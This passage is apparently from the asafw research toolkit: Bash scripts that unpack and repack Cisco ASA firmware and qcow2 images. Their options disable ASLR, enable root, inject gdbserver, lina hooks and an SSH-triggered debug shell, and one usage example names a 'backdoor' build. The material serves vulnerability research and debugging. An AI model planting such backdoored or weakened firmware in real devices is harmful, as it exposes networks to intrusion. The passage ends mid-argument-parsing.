# Leave working directory 956 | dbglog "Returning to ${OLDDIR}" 957 | cd ${OLDDIR} 958 | # cd .. 959 | #ls -l *.gz 960 | 961 | if [[ "${ROOT}" == "YES" ]] 962 | then 963 | ROOTARGS=--root 964 | else 965 | ROOTARGS= 966 | fi 967 | dbglog ${FWTOOL} -r -f "$FWFILE" -g "$GZIP_MODIFIED" -o "$OUTFILE" $ROOTARGS $DISABLE_ASLR_ARGS 968 | ${FWTOOL} -r -f "$FWFILE" -g "$GZIP_MODIFIED" -o "$OUTFILE" $ROOTARGS $DISABLE_ASLR_ARGS 969 | if [ $? != 0 ]; 970 | then 971 | log "${FWTOOL} -r -f "$FWFILE" -g "$GZIP_MODIFIED" -o "$OUTFILE" $ROOTARGS $DISABLE_ASLR_ARGS failed" 972 | exit 1 973 | fi 974 | 975 | echo -n "[unpack_repack_bin] MD5: " 976 | md5sum "${OUTFILE}" 977 | cleanup 978 | } 979 | 980 | # START OF EXECUTION 981 | 982 | if [ -z "${ASATOOLS}" ]; then 983 | log "This tool relies on env.sh which has not been sourced" 984 | log "NOTE: Use sudo -E if you already sourced env.sh" 985 | exit 1 986 | fi 987 | 988 | BINWALK=$(which binwalk) 989 | if [ -z "${BINWALK}" ]; then 990 | log "ERROR: binwalk not found. Required for extract_repack_bin.sh usage" 991 | log "ERROR: NOTE: binwalk must be > v2.0" 992 | exit 1 993 | fi 994 | GUNZIP=gunzip 995 | CPIO=cpio 996 | 997 | # http://stackoverflow.com/questions/192249/how-do-i-parse-command-line-arguments-in-bash 998 | # XXX - Could switch this to an associative array and pass it around instead 999 | # of relying on globals 1000 | INPUT= 1001 | OUTDIR= 1002 | OUTBIN= 1003 | FREE_SPACE="NO" 1004 | ENABLE_GDB="NO" 1005 | DISABLE_GDB="NO" 1006 | ENABLE_ASLR="NO" 1007 | DISABLE_ASLR="NO" 1008 | INJECT_GDB="NO" 1009 | CUSTOM="NO" 1010 | NO_CLEANUP="NO" 1011 | DEBUGSHELL="NO" 1012 | SERIALSHELL="NO" 1013 | LINAHOOK= 1014 | ROOT="NO" 1015 | LINABINDIR= 1016 | DELETE_EXTRACTED="NO" 1017 | KEEP_ROOTFS="NO" 1018 | DELETE_BIN="NO" 1019 | UNPACK_ONLY="NO" 1020 | SIMPLE_NAME="NO" 1021 | REPACK_ONLY="NO" 1022 | ORIGINAL_FIRMWARE= 1023 | REPLACE_LINAMONITORITOR= 1024 | DEBUG= 1025 | FWFILE_WITH_ASA_TO_INJECT= 1026 | while [[ $# -gt 0 ]] 1027 | do 1028 | key="$1" 1029 | 1030 | case $key in 1031 | -i|--input) 1032 | # Input firmware directory or file 1033 | INPUTFW="$2" 1034 | shift # past argument 1035 | ;; 1036 | -o|--output) 1037 | OUTDIR="$2" 1038 | shift # past argument 1039 | ;; 1040 | --output-bin) 1041 | OUTBIN="$2" 1042 | shift # past argument 1043 | ;; 1044 | -s|--simple-name) 1045 | SIMPLE_NAME="YES" 1046 | ;; 1047 | -f|--free-space) 1048 | FREE_SPACE="YES" 1049 | ;; 1050 | -g|--enable-gdb) 1051 | ENABLE_GDB="YES" 1052 | ;; 1053 | -G|--disable-gdb) 1054 | DISABLE_GDB="YES" 1055 | ;; 1056 | -a|--enable-aslr) 1057 | ENABLE_ASLR="YES" 1058 | ;; 1059 | -A|--disable-aslr) 1060 | DISABLE_ASLR="YES" 1061 | ;; 1062 | -m|--inject-gdb) 1063 | INJECT_GDB="YES" 1064 | ;; 1065 | --bin-with-asa-to-inject) 1066 | FWFILE_WITH_ASA_TO_INJECT="$2" 1067 | shift 1068 | ;; 1069 | -b|--debug-shell) 1070 | DEBUGSHELL="YES" 1071 | ;; 1072 | -B|--serial-shell) 1073 | SERIALSHELL="YES" 1074 | ;; 1075 | -H|--lina-hook) 1076 | LINAHOOK="$2" 1077 | shift 1078 | ;; 1079 | -c|--custom) 1080 | CUSTOM="YES" 1081 | ;; 1082 | -n|--no-cleanup) 1083 | NO_CLEANUP="YES" 1084 | ;; 1085 | -q|--gns3-fixup) 1086 | FIX_GNS3_INTERFACE="YES" 1087 | ;; 1088 | -r|--root) 1089 | ROOT="YES" 1090 | ;; 1091 | -l|--linabins) 1092 | # Destination to store extracted binaries 1093 | LINABINDIR="$2" 1094 | mkdir $LINABINDIR 1095 | log "Created ${LINABINDIR} directory" 1096 | shift # past argument 1097 | ;; 1098 | -d|--delete-extracted) 1099 | # Delete extracted files 1100 | DELETE_EXTRACTED="YES" 1101 | ;; 1102 | -e|--delete-original-bin) 1103 | # Delete original .bin file 1104 | DELETE_BIN="YES" 1105 | ;; 1106 | -k|--keep-rootfs) 1107 | # Keep rootfs file 1108 | KEEP_ROOTFS="YES" 1109 | ;; 1110 | -u|--unpack-only) 1111 | UNPACK_ONLY="YES" 1112 | ;; 1113 | -R|--repack-only) 1114 | REPACK_ONLY="YES" 1115 | # root is needed so the repacked version has the right uid/gid 1116 | if [ "$(whoami)" != "root" ]; then 1117 | log "You need to be root so repacked version has the right uid/gid" 1118 | log "NOTE: Use sudo -E if you sourced env.sh" 1119 | exit 1 1120 | fi 1121 | ;; 1122 | --original-firmware) 1123 | ORIGINAL_FIRMWARE="$2" 1124 | shift # past argument 1125 | ;; 1126 | --replace-linamonitor) 1127 | REPLACE_LINAMONITOR="$2" 1128 | if [[ ! -e ${REPLACE_LINAMONITOR} ]] 1129 | then 1130 | log "ERROR: --replace-linamonitor file ${REPLACE_LINAMONITOR} not found" 1131 | exit 1132 | fi 1133 | shift # past argument 1134 | ;; 1135 | -v|--verbose) 1136 | DEBUG="-v" 1137 | ;; 1138 | -h|--help) 1139 | usage 1140 | ;; 1141 | *) 1142 | # unknown option 1143 | log "ERROR: Unknown option provided: $key" 1144 | usage 1145 | ;; 1146 | esac 1147 | shift # past argument or value 1148 | done 1149 | 1150 | if [[ -z $INPUTFW || ! -e $INPUTFW ]] 1151 | then 1152 | log "ERROR: You must specify at least a valid --input (-i) argument" 1153 | usage 1154 | fi 1155 | 1156 | if [[ -d $INPUTFW && -z $OUTDIR && -z $OUTBIN && "${UNPACK_ONLY}" == "NO" ]] 1157 | then 1158 | log "ERROR: You must specify an output directory with --output (-o) when specifying a directory with --input (-i)" 1159 | usage 1160 | fi 1161 | 1162 | if [[ ! -z $OUTDIR && "${UNPACK_ONLY}" == "YES" ]] 1163 | then 1164 | log "ERROR: --output (-o) is ignored if --unpack-only (-u) is specified" 1165 | usage 1166 | fi 1167 | 1168 | if [[ -f $INPUTFW && ! -z $OUTDIR ]] 1169 | then 1170 | log "ERROR: --output (-o) is ignored if --input (-i) is a file" 1171 | usage 1172 | fi 1173 | 1174 | if [[ -f $INPUTFW && ${REPACK_ONLY} == "YES" ]] 1175 | then 1176 | log "ERROR: --repack-only requires --input to be an unpacked firmware directory" 1177 | usage 1178 | fi 1179 | 1180 | if [[ ! -z "${LINAHOOK}" && "${DEBUGSHELL}" == "NO" ]] 1181 | then 1182 | log "ERROR: Use of --lina-hook (-H) currently requires --debug-shell (-b)" 1183 | usage 1184 | fi 1185 | 1186 | # When --repack-only is used, $INPUTFW is a directory but not one we loop over, so 1187 | # won't enter here. 1188 | if [ -d $INPUTFW ] && [[ ${REPACK_ONLY} == "NO" ]] 1189 | then 1190 | log "Directory of firmware detected: $INPUTFW" 1191 | ORIGDIR=${PWD} 1192 | cd ${INPUTFW} 1193 | for FWFILE2 in $(find . -maxdepth 1 -type f -name "*.bin"); 1194 | do 1195 | # strip "./" in front of the file 1196 | FWFILE=$(basename "${FWFILE2}") 1197 | unpack_repack_bin 1198 | done 1199 | cd ${ORIGDIR} 1200 | elif [ -f ${INPUTFW} ] 1201 | then 1202 | log "Single firmware detected" 1203 | ORIGDIR=${PWD} 1204 | OUTDIR=$(dirname ${INPUTFW}) 1205 | FWFILE=$(basename "${INPUTFW}") 1206 | WORKINGDIR=$(dirname "${INPUTFW}") 1207 | dbglog "Entering ${WORKINGDIR}" 1208 | cd ${WORKINGDIR} 1209 | unpack_repack_bin 1210 | if [[ ${PWD} != $WORKINGDIR ]]; then 1211 | dbglog "WARNING: unpack_repack_bin failed to restore working directory" 1212 | fi 1213 | 1214 | dbglog "Entering ${ORIGDIR}" 1215 | cd ${ORIGDIR} 1216 | elif [[ ${REPACK_ONLY} == "YES" ]] 1217 | then 1218 | log "Single unpacked firmware detected" 1219 | if [[ -z ${OUTBIN} ]]; then 1220 | log "ERROR: --repack-only requires --output-bin " 1221 | usage 1222 | fi 1223 | if [[ -z ${ORIGINAL_FIRMWARE} ]]; then 1224 | log "ERROR: --repack-only requires --original-firmware " 1225 | usage 1226 | fi 1227 | ROOTFS_DIR=${INPUTFW}/rootfs 1228 | if [ -d ${ROOTFS_DIR} ] 1229 | then 1230 | log "ERROR: No ${ROOTFS_DIR} directory found" 1231 | log "ERROR: Bad firmware directory for --repack-only" 1232 | exit 1233 | fi 1234 | 1235 | ORIGDIR=${PWD} 1236 | modify_bin ${ROOTFS_DIR} 1237 | repack_bin ${ROOTFS_DIR} ${OUTBIN} ${ORIGINAL_FIRMWARE} 1238 | 1239 | # We expect modify_bin and repack_bin not screw with our path. This just 1240 | # warns about possible bugs being introduced 1241 | if [[ ${PWD} != $ORIGDIR ]]; then 1242 | dbglog "WARNING: modify_bin or repack_bin failed to restore working directory" 1243 | fi 1244 | cd ${ORIGDIR} 1245 | fi 1246 | -------------------------------------------------------------------------------- /unpack_repack_qcow2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # This script is used to unpack all Cisco ASA routers .qcow2 packed files, 8 | # extract the .bin and modify some files in the rootfs.img in order to start 9 | # gdb after booting the OS. Everything is then repackaged back into the .qcow2 10 | # 11 | # TODO 12 | # - actually use the template (TEMPLATEQCOW2FILE) 13 | # - Probably can use with a ton of cleanup in general 14 | 15 | SCRIPTNAME="unpack_repack_qcow2" 16 | 17 | # FUNCTIONS 18 | 19 | log() 20 | { 21 | echo -n "[${SCRIPTNAME}] " 22 | echo "$@" 23 | } 24 | 25 | 26 | dbglog() 27 | { 28 | if [ ! -z ${DEBUG} ]; then 29 | log DEBUG: $@ 30 | fi 31 | } 32 | 33 | usage() 34 | { 35 | echo "Usage:" 36 | echo "unpack_repack_qcow2.sh -i -o [-f -g -G -a -A -m -b -r -u -l -d -e -k]" 37 | echo " -h, --help This help menu" 38 | echo " -i, --input What QCOW2 file to operate on. This option is always required" 39 | echo " -t XXX" 40 | echo " -o, --output Where to write new QCOW2" 41 | echo " -g, --enable-gdb Set gdb to start on boot" 42 | echo " -G, --disable-gdb Stop gdb from starting on boot" 43 | echo " -a, --enable-aslr Turn on ASLR" 44 | echo " -A, --disable-aslr Turn off ASLR" 45 | echo " -r, --enable-root Enable root firmware" 46 | echo " -R, --disable-root Disable root firmware" 47 | echo " -m, --inject-gdb Inject gdbserver to run" 48 | echo " -b, --debug-shell Inject ssh-triggered debug shell" 49 | echo " -B, --serial-shell Configure a serial shell on ASA 2nd serial port" 50 | echo " -H, --lina-hook Inject lina hooks (requires -b)" 51 | echo " -c, --custom Custom functionality you can add yourself" 52 | echo " -u, --unpack-only Unpack the asa*.bin firmware inside the QCOW2 and nothing else" 53 | echo " --grub-timeout Change grub timeout to speed up boot process" 54 | echo " --inject-grub-conf XXXX" 55 | echo " --inject-bin XXXX" 56 | echo " --mount-qcow2 Mount qcow2 (debug)" 57 | echo " --unmount-qcow2 Unmount qcow2 (debug)" 58 | echo " --partition Partition to mount (debug)" 59 | echo " -M, --multi-bin Indicates if the input qcow2 file is a multi-bin, so we inject the modified asa*.bin in the right partition" 60 | echo " -v, --verbose Display debug messages" 61 | echo "Examples:" 62 | echo " unpack_repack_qcow2.sh -i asav962-7.qcow2 -A -g -b -H hat" 63 | echo " unpack_repack_qcow2.sh -i asav962-7.qcow2 -u" 64 | echo " unpack_repack_qcow2.sh -i asav962-7-multiple-bins.qcow2 --inject-grub-conf grub-multi-bin.conf --inject-bin asa962-7-smp-k8-noaslr-backdoor.bin" 65 | echo "# Inject asa962-7-smp-k8-noaslr-debugshell.bin into multiple-bin QCOW2:" 66 | echo " unpack_repack_qcow2.sh -i asav962-7.qcow2 -M -A -b" 67 | echo "# Inject asa962-7-smp-k8-noaslr-debugshell-gdbserver.bin into multiple-bin QCOW2:" 68 | echo " unpack_repack_qcow2.sh -i asav962-7.qcow2 -M -A -b -g -m" 69 | echo "# Inject asa962-7-smp-k8-noaslr-debugshell-hooked.bin into multiple-bin QCOW2:" 70 | echo " unpack_repack_qcow2.sh -i asav962-7.qcow2 -M -A -b -H hat" 71 | echo "# Inject asa962-7-smp-k8-noaslr-debugshell-hooked-gdbserver.bin into multiple-bin QCOW2:" 72 | echo " unpack_repack_qcow2.sh -i asav962-7.qcow2 -M -A -b -H hat -g -m" 73 | exit 74 | } 75 | 76 | # Parameters: 77 | # 1 : String : path where to mount the qcow2 (e.g. /home/user/mnt/qcow2) 78 | # 2 : Integer: partition ID (e.g. 1 or 2) 79 | mount_qcow() 80 | { 81 | dbglog "mount_qcow(${1}, ${2})" 82 | 83 | # Just avoid errors in case it's already connected 84 | mount /dev/nbd0p${2} ${1} 85 | if [ $? != 0 ]; then 86 | log "[!] Could not mount ${1}" 87 | sync 88 | umount ${1} 89 | exit 90 | fi 91 | log "Mounted /dev/nbd0p${2} to ${1}" 92 | } 93 | 94 | # Parameters: 95 | # 1 : String : path where to mount the qcow2 (e.g. /home/user/mnt/qcow2) 96 | # 2 : String: path for the input grub.conf (e.g. /path/to/grub.conf) 97 | inject_grub_config() 98 | { 99 | dbglog "inject_grub_config(${1}, ${2})" 100 | 101 | # In a mult-bin qcow partition 1 holds the grub config 102 | mount_qcow ${1} 1 103 | cp ${2} ${1}/boot/grub.conf 104 | log "Overwrote ${1}/boot/grub/conf with ${2}" 105 | sync 106 | umount ${1} 107 | } 108 | 109 | # Parameters: 110 | # 1 : String : path where to mount the qcow2 (e.g. /home/user/mnt/qcow2) 111 | # 3 : String : relative filename for asa*.bin to copy to partition 2 (e.g. asa962-7-smp-k8-noaslr-debugshell.bin) 112 | inject_multibin() 113 | { 114 | dbglog "inject_multibin(${1}, ${2})" 115 | 116 | # In a mult-bin qcow partition 2 holds the extra bin files 117 | mount_qcow ${1} 2 118 | cp ${2} ${1}/ 119 | log "Wrote ${2} into partition 2 of multi-bin qcow" 120 | sync 121 | umount ${1} 122 | } 123 | 124 | 125 | # We inherit the name of the qcow2 and apply it to the bin, in case we have 126 | # duplicates and don't want to overwrite or binwalk the same file name. 127 | # Parameters: 128 | # 1 : String : path where to mount the qcow2 (e.g. /home/user/mnt/qcow2) 129 | # 2 : String : path where to copy the extracted .bin (e.g. /current/folder/bin/asav962-7.qcow2. 130 | # Note we copy asa962-7-smp-k8.bin to a asav962-7.qcow2 131 | # so it is known by our asadb.json, for instance to patch lina, but it is a .bin!) 132 | extract_bin() 133 | { 134 | dbglog "extract_bin(${1}, ${2})" 135 | 136 | # A default qcow2 has its asa* in its partition 1 137 | # Even if we store additional ones in partition 2 for multiple-bin qcow2, we 138 | # always extract the one from partition 1 as it is untouched 139 | mount_qcow ${1} 1 140 | COUNTBIN=$(ls ${1}/asa*.bin|wc -l) 141 | if [[ "$COUNTBIN" != "1" ]]; then 142 | log "[!] ERROR: Found ${COUNTBIN} asa*.bin in partition 1" 143 | sync 144 | umount ${1} 145 | exit 146 | fi 147 | BINPATH=$(ls ${1}/asa*.bin) 148 | if [ $? != 0 ]; then 149 | log "[!] ERROR: Couldn't not find ${1}/asa*.bin in partition 1" 150 | sync 151 | umount ${1} 152 | exit 153 | fi 154 | BIN=$(basename "${BINPATH}") 155 | if [ ! -z "${2}" ]; then 156 | DEST="${2}" 157 | fi 158 | 159 | cp "${BINPATH}" "${DEST}" 160 | if [ $? != 0 ]; then 161 | log "[!] Couldn't not copy .bin" 162 | exit 163 | fi 164 | log "Copied ${BIN} to ${DEST}" 165 | 166 | # XXX we do it here because after we unmount it. We should fix 167 | # the architecture of this script so we only mount at the beginning 168 | # and unmount at the end so we can do all modifications in between 169 | # in one function 170 | if [[ ! -z ${GRUB_TIMEOUT} ]] 171 | then 172 | # default timeout is 10 seconds but we speed the process of booting by setting it to 1 :) 173 | log "GRUB TIMEOUT set to ${GRUB_TIMEOUT}" 174 | # XXX - running the cmd via the variable fails 175 | SEDCMD="sed -i 's/timeout \(.*\)/timeout ${GRUB_TIMEOUT}/' ${QCOW2MNT}/boot/grub.conf" 176 | sed -i "s/timeout \(.*\)/timeout ${GRUB_TIMEOUT}/" ${QCOW2MNT}/boot/grub.conf 177 | if [ $? != 0 ]; 178 | then 179 | log "${SEDCMD} failed" 180 | sync 181 | umount ${1} 182 | exit 183 | fi 184 | fi 185 | 186 | sync 187 | umount ${1} 188 | log "Unmounted ${1}" 189 | } 190 | 191 | fini_nbd() 192 | { 193 | dbglog "fini_nbd()" 194 | 195 | log "Disconnecting /dev/nbd0" 196 | qemu-nbd --disconnect /dev/nbd0 > /dev/null 197 | } 198 | 199 | # Parameters: 200 | # 1 : String : path to input qcow2 file (e.g. /current/folder/asav962-7.qcow2) 201 | init_nbd() 202 | { 203 | dbglog "init_nbd(${1})" 204 | 205 | cmd="qemu-nbd --disconnect /dev/nbd0 > /dev/null" 206 | dbglog "Executing: ${cmd}" 207 | eval ${cmd} 208 | if [ -z "${1}}" ]; then 209 | log "[!] init_nbd() expects one argument" 210 | exit 211 | fi 212 | # log "Loading nbd driver" 213 | modprobe nbd 214 | lsmod | grep nbd > /dev/null 215 | if [ $? != 0 ]; then 216 | log "[!] Couldn't load nbd driver" 217 | exit 218 | fi 219 | log "Mounting ${1} to /dev/nbd0" 220 | qemu-nbd --connect=/dev/nbd0 "${1}" 221 | 222 | # At some point this changed, and we have to probe? 223 | # solution found here: 224 | # https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=824553 225 | partprobe /dev/nbd0 226 | PARTCOUNT=$(fdisk /dev/nbd0 -l | grep nbd0p | wc -l) 227 | if [ "${PARTCOUNT}" == 0 ]; then 228 | log "[!] Something wrong with qcow? No partitions detected" 229 | qemu-nbd --disconnect /dev/nbd0 > /dev/null 230 | exit 231 | fi 232 | # log "QCOW2 has ${PARTNUM} partitions" 233 | } 234 | 235 | ### nbd-based Functions ### 236 | 237 | # Parameters: 238 | # 1 : XXX 239 | # 2 : XXX 240 | add_serial() 241 | { 242 | dbglog "add_serial(${1}, ${2})" 243 | 244 | init_nbd "${1}" 245 | MNTDIR="${2}" 246 | if [ -z "${MNTDIR}" ]; then 247 | log "[!] Extraction requires -m " 248 | exit 249 | fi 250 | 251 | # init_nbd sets PARTCOUNT 252 | if [[ "${PARTCOUNT}" < 2 ]]; then 253 | log "[!] There is no partition 2 to mount. Maybe wrong qcow2 file" 254 | exit 255 | fi 256 | 257 | mount /dev/nbd0p2 "${MNTDIR}" 258 | if [ $? != 0 ]; then 259 | log "[!] Possibly the wrong qcow as there is no second partition?" 260 | exit 261 | fi 262 | log "Mounted /dev/nbd0p2 to ${MNTDIR}" 263 | if [ ! -e "${MNTDIR}/coredumpinfo" ]; then 264 | log "[!] Missing expected coredumpinfo folder" 265 | log "[!] Are you sure this is the flash qcow?" 266 | fi 267 | touch "${MNTDIR}/use_ttyS0" 268 | log "Wrote use_ttyS0 file" 269 | 270 | sync 271 | umount ${MNTDIR} 272 | log "Unmounted ${MNTDIR}" 273 | fini_nbd 274 | } 275 | 276 | ### Actual workhorse logic ### 277 | 278 | # Parameters: 279 | # 1 : String : path to input qcow2 file (e.g. /current/folder/asav962-7.qcow2) 280 | # 2 : String : path where to mount the qcow2 (e.g. "/home/user/mnt/qcow2") 281 | # 3 : String : path where to copy the extracted .bin (e.g. /current/folder/bin/asav962-7.qcow2. 282 | # Note we copy asa962-7-smp-k8.bin to a asav962-7.qcow2 283 | # so it is known by our asadb.json, for instance to patch lina, but it is a .bin!) 284 | extract_qcow2() 285 | { 286 | dbglog "extract_qcow2(${1}, ${2}, ${3})" 287 | 288 | QNBD=$(which qemu-nbd) 289 | if [ -z "${QNBD}" ]; then 290 | log "[!] qemu-nbd tool not found. Please install or use -o" 291 | exit 292 | fi 293 | 294 | init_nbd ${1} 295 | if [ -z "${2}" -o -z "${3}" ]; then 296 | log "[!] Extraction requires 3 arguments" 297 | exit 298 | else 299 | extract_bin ${2} ${3} 300 | fi 301 | fini_nbd 302 | } 303 | 304 | # Parameters: 305 | # 1 : String : path to repacked asa*.bin file to inject (e.g. /current/folder/bin/asav962-7.qcow2) 306 | # Note asav962-7.qcow2 is actually a .bin! We used this name 307 | # so it is known by our asadb.json, for instance to patch lina.) 308 | # 2 : String : path to temporary repacked asav*.qcow2 file (e.g. /current/folder/bin/asav962-7-repacked.qcow2) 309 | # 3 : String : path to final repacked asav*.qcow2 file (e.g. /current/folder/asav962-7-repacked.qcow2) 310 | # 4 : String : path where to mount the qcow2 (e.g. "/home/user/mnt/qcow2") 311 | # 5 : String : empty by default, set to 1 if a multi-bins qcow2 (so asa*.bin is injected in partition 2) 312 | repackage_qcow2() 313 | { 314 | dbglog "repackage_qcow2(${1}, ${2}, ${3}, ${4}, multi-bins=${5})" 315 | 316 | init_nbd ${3} 317 | mount /dev/nbd0p1 ${4} 318 | log "Mounted /dev/nbd0p1 to ${4}" 319 | ORIG=$(ls ${4}/asa*.bin) 320 | if [ $? != 0 ]; then 321 | log "[!] Couldn't not find ${4}" 322 | exit 323 | fi 324 | 325 | if [[ -z ${5} ]]; then 326 | DEST=${ORIG} 327 | else 328 | sleep 1 329 | sync 330 | umount ${4} 331 | 332 | # get filename without extension and extension 333 | OUTFILE=$(basename "$ORIG") 334 | EXTFILE=${ORIG##*.} 335 | 336 | OUTFILE_SUFFIX= 337 | # the more complex filename we could get is something like 338 | # "asaXXX-smp-k8-noaslr-debugshell-hooked-gdbserver.bin" 339 | if [[ ! -z "${DISABLE_ASLR}" ]] 340 | then 341 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-noaslr 342 | fi 343 | if [[ ! -z "${DEBUGSHELL}" ]] 344 | then 345 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-debugshell 346 | fi 347 | if [[ ! -z "${LINAHOOK}" ]] 348 | then 349 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-hooked 350 | fi 351 | if [[ ! -z "${ENABLE_GDB}" ]] 352 | then 353 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX-gdbserver 354 | fi 355 | OUTFILE_SUFFIX=$OUTFILE_SUFFIX.${EXTFILE} 356 | DEST=${4}/${OUTFILE%.*}${OUTFILE_SUFFIX} 357 | log "Destination file: ${DEST}" 358 | 359 | mount /dev/nbd0p2 ${4} 360 | log "Mounted /dev/nbd0p2 to ${4}" 361 | fi 362 | 363 | cp ${2} ${DEST} 364 | if [ $? != 0 ]; then 365 | log "[!] Couldn't not find repacked name: ${2}" 366 | exit 367 | fi 368 | log "Injected ${3} with new .bin file ${DEST}" 369 | sync 370 | umount ${4} 371 | fini_nbd 372 | log "Unmounted ${4}" 373 | } 374 | 375 | # Parameters: 376 | # 1 : XXX 377 | # 2 : XXX 378 | # 3 : XXX 379 | extract_one() 380 | { 381 | dbglog "extract_one(${1}, ${2}, ${3})" 382 | 383 | log "extract_one: $QCOW2FILE" 384 | 385 | extract_qcow2 ${QCOW2FILE} ${QCOW2MNT} ${BINFILE} 386 | 387 | # XXX - we generally want to avoid using -k as we want to keep the kernel to get the kernel version 388 | # but we may want to support it in case we want to only keep the rootfs for debugging 389 | #${UNPACK_REPACK_BIN} -i ${BINFILE} -u -k ${DEBUG} 390 | ${UNPACK_REPACK_BIN} -i ${BINFILE} -u ${DEBUG} 391 | FWFOLDER=${QCOWDIR}/bin/_${BASEQCOW2FILE_NOEXT}.qcow2.extracted 392 | if [ ! -d "${FWFOLDER}" ]; then 393 | log "Error: binwalk extraction failed. Didn't find ${FWFOLDER}" 394 | exit 395 | fi 396 | mv ${FWFOLDER} ${QCOWDIR}/ 397 | if [ -z ${DEBUG} ] 398 | then 399 | #rm ${BINFILE} ${BINFILE_REPACKED} ${BINFILE_REPACKED2} 400 | rm ${BINFILE} 401 | fi 402 | } 403 | 404 | # Parameters: 405 | # 1 : XXX 406 | # 2 : XXX 407 | # 3 : XXX 408 | extract_repack_one() 409 | { 410 | dbglog "extract_repack_one(${1}, ${2}, ${3})" 411 | 412 | log "extract_repack_one: $QCOW2FILE" 413 | 414 | extract_qcow2 ${QCOW2FILE} ${QCOW2MNT} ${BINFILE} 415 | 416 | ${UNPACK_REPACK_BIN} -i ${BINFILE} ${BIN_CMDLINE} -s ${DEBUG} 417 | if [ $? != 0 ]; 418 | then 419 | log ${UNPACK_REPACK_BIN} -i ${BINFILE} ${BIN_CMDLINE} -s ${DEBUG} failed 420 | exit 421 | fi 422 | 423 | BINFILE_REPACKED=${QCOWDIR}/bin/${BASEQCOW2FILE_NOEXT}-repacked.qcow2 424 | BINFILE_REPACKED2=${BINFILE_REPACKED} 425 | if [[ "${ENABLE_GDB}" == " -g" ]] 426 | then 427 | BINFILE_REPACKED=${QCOWDIR}/bin/${BASEQCOW2FILE_NOEXT}-repacked-gdbserver.qcow2 428 | BINFILE_REPACKED2=${BINFILE_REPACKED} 429 | elif [[ "$ENABLE_ROOT" == "YES" ]] 430 | then 431 | log "ENABLE ROOT" 432 | BINFILE_REPACKED2=${QCOWDIR}/bin/${BASEQCOW2FILE_NOEXT}-repacked-rooted.qcow2 433 | ${FWTOOL} -t -f ${BINFILE_REPACKED} -o ${BINFILE_REPACKED2} 434 | if [ $? != 0 ]; 435 | then 436 | log ${FWTOOL} -t -f ${BINFILE_REPACKED} -o ${BINFILE_REPACKED2} failed 437 | exit 438 | fi 439 | elif [[ "$DISABLE_ROOT" == "YES" ]] 440 | then 441 | log "DISABLE ROOT" 442 | BINFILE_REPACKED2=${QCOWDIR}/${BASEQCOW2FILE_NOEXT}-repacked-rooted.bin 443 | ${FWTOOL} -T -f ${BINFILE_REPACKED} -o ${BINFILE_REPACKED2} 444 | if [ $? != 0 ]; 445 | then 446 | log ${FWTOOL} -T -f ${BINFILE_REPACKED} -o ${BINFILE_REPACKED_ROOTED} failed 447 | exit 448 | fi 449 | fi 450 | 451 | cp ${QCOW2FILE} ${OUTQCOW2FILE} 452 | if [[ "${MULTI_BIN}" == "YES" ]] 453 | then 454 | repackage_qcow2 ${BINFILE} ${BINFILE_REPACKED2} ${OUTQCOW2FILE} ${QCOW2MNT} 1 455 | else 456 | repackage_qcow2 ${BINFILE} ${BINFILE_REPACKED2} ${OUTQCOW2FILE} ${QCOW2MNT} 457 | fi 458 | 459 | if [ -z ${DEBUG} ] 460 | then 461 | if [[ "${BINFILE_REPACKED}" == "${BINFILE_REPACKED2}" ]] 462 | then 463 | rm ${BINFILE} ${BINFILE_REPACKED2} 464 | else 465 | rm ${BINFILE} ${BINFILE_REPACKED} ${BINFILE_REPACKED2} 466 | fi 467 | fi 468 | } 469 | 470 | 471 | ### INIT ### 472 | 473 | if [ -z "${ASATOOLS}" ]; then 474 | log "[!] This tool relies on env.sh which has not been sourced" 475 | log "NOTE: Use sudo -E if you already sourced env.sh" 476 | exit 477 | fi 478 | 479 | BINWALK=$(which binwalk) 480 | if [ -z "${BINWALK}" ]; then 481 | log "[!] binwalk not found. Required for extract_bin.sh usage" 482 | log "[!] NOTE: binwalk must be > v2.0" 483 | exit 484 | fi 485 | 486 | ### ARG Parsing ### 487 | 488 | # http://stackoverflow.com/questions/192249/how-do-i-parse-command-line-arguments-in-bash 489 | QCOW2FILE= 490 | OUTQCOW2FILE= 491 | TEMPLATEQCOW2FILE= 492 | ENABLE_GDB= 493 | DISABLE_GDB= 494 | ENABLE_ASLR= 495 | DISABLE_ASLR= 496 | ENABLE_ROOT="NO" 497 | DISABLE_ROOT="NO" 498 | ENABLE_SERIAL= 499 | QCOW_MOUNT= 500 | QCOW_UMOUNT= 501 | # An original asav*.qcow2 has only 1 partition 502 | # An asav*.qcow2 loaded in GNS3 will have 2nd partition for hda_disk. 503 | QCOW_PARTNUM=1 504 | INJECT_GDB= 505 | CUSTOM= 506 | DEBUGSHELL= 507 | SERIALSHELL= 508 | LINAHOOK= 509 | # do we keep temporary files? Use if need to debug 510 | DEBUG= 511 | UNPACK_ONLY="NO" 512 | GRUB_TIMEOUT= 513 | INJECT_GRUBCONFIG="NO" 514 | INJECT_MULTIBIN="NO" 515 | MULTI_BIN="NO" 516 | while [[ $# -gt 0 ]] 517 | do 518 | key="$1" 519 | 520 | case $key in 521 | -i|--input) 522 | QCOW2FILE="$2" 523 | shift # past argument 524 | ;; 525 | -o|--output) 526 | OUTQCOW2FILE="$2" 527 | shift # past argument 528 | ;; 529 | -t|--template) 530 | TEMPLATEQCOW2FILE="$2" 531 | shift # past argument 532 | ;; 533 | -g|--enable-gdb) 534 | ENABLE_GDB=" -g" 535 | ;; 536 | -G|--disable-gdb) 537 | DISABLE_GDB=" -G" 538 | ;; 539 | -a|--enable-aslr) 540 | ENABLE_ASLR=" -a" 541 | ;; 542 | # this is used for debugging purpose, see unpack_repack_bin.sh 543 | -c|--custom) 544 | CUSTOM=" -c" 545 | ;; 546 | -A|--disable-aslr) 547 | DISABLE_ASLR=" -A" 548 | ;; 549 | -m|--inject-gdb) 550 | INJECT_GDB=" -m" 551 | ;; 552 | -r|--enable-root) 553 | ENABLE_ROOT="YES" 554 | ;; 555 | -R|--disable-root) 556 | DISABLE_ROOT="YES" 557 | ;; 558 | -b|--debug-shell) 559 | DEBUGSHELL=" -b" 560 | ;; 561 | -B|--serial-shell) 562 | SERIALSHELL=" -B" 563 | ;; 564 | -H|--lina-hook) 565 | 